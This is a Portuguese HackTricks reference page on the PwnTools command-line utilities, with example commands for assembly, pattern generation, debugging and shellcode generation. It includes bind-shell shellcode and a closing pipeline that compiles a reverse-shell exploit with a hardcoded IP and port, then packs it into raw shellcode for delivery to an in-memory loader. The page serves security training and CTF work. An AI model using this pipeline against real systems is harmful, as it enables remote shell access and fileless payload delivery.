PwnTools
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
pip3 install pwntools
Pwn asm
Obtenha opcodes de uma linha ou de um arquivo.
pwn asm "jmp esp"
pwn asm -i <filepath>
Pode selecionar:
- tipo de saída (raw,hex,string,elf)
- contexto do arquivo de saída (16,32,64,linux,windows…)
- evitar bytes (new lines, null, a list)
- selecionar encoder; debugar shellcode usando gdb; executar o output
Pwn checksec
Script do Checksec
pwn checksec <executable>
Pwn constgrep
Pwn cyclic
Obtenha um padrão
pwn cyclic 3000
pwn cyclic -l faad
Pode selecionar:
- O alfabeto usado (caracteres minúsculos por padrão)
- Comprimento do padrão uniq (padrão 4)
- contexto (16,32,64,linux,windows…)
- Obter o offset (-l)
Pwn debug
Anexar GDB a um processo
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
Pode selecionar:
- Por executável, por nome ou por contexto pid (16,32,64,linux,windows…)
- gdbscript para executar
- sysrootpath
Pwn disablenx
Desativar nx de um binário
pwn disablenx <filepath>
Pwn disasm
Desassemblar opcodes hex
pwn disasm ffe4
Pode selecionar:
- context (16,32,64,linux,windows…)
- endereço base
- color(default)/no color
Pwn elfdiff
Imprime diferenças entre 2 arquivos
pwn elfdiff <file1> <file2>
Pwn hex
Obtenha representação hexadecimal
pwn hex hola #Get hex of "hola" ascii
Pwn phd
Obter hexdump
pwn phd <file>
Pode selecionar:
- Número de bytes a mostrar
- Número de bytes por linha — byte de destaque
- Ignorar bytes no início
Pwn pwnstrip
Pwn scrable
Pwn shellcraft
Obter shellcodes
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
Pode selecionar:
- shellcode e argumentos para o shellcode
- Arquivo de saída
- formato de saída
- debug (anexar dbg ao shellcode)
- antes (trap de debug antes do código)
- depois
- evitar usar opcodes (padrão: sem null e nova linha)
- Executar o shellcode
- Cor/sem cor
- listar syscalls
- listar shellcodes possíveis
- Gerar ELF como uma biblioteca compartilhada
Pwn template
Obter um template em python
pwn template
Pode selecionar: host, port, user, pass, path e quiet
Pwn unhex
De hex para string
pwn unhex 686f6c61
Pwn update
Para atualizar pwntools
pwn update
ELF → empacotamento raw shellcode (loader_append)
Pwntools pode transformar um ELF independente num único blob de raw shellcode que auto‑mapeia seus segmentos e transfere a execução para o entrypoint original. Isto é ideal para memory‑only loaders (por exemplo, apps Android invocando JNI para executar bytes baixados).
Pipeline típico (exemplo amd64)
- Construa um payload ELF estático e independente de posição (musl recomendado para portabilidade):
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
- Converter ELF → shellcode com pwntools:
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
- Entregar sc a um memory loader (por exemplo, via HTTP[S]) e executar in-process.
Notas
- loader_append incorpora o programa ELF original dentro do shellcode e gera um pequeno loader que mmaps os segmentos e salta para o entry.
- Seja explícito sobre a arquitetura usando context.clear(arch=…). arm64 é comum em Android.
- Mantenha o código do seu payload independente de posição e evite pressupor detalhes sobre ASLR/NX do processo.
Referências
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks

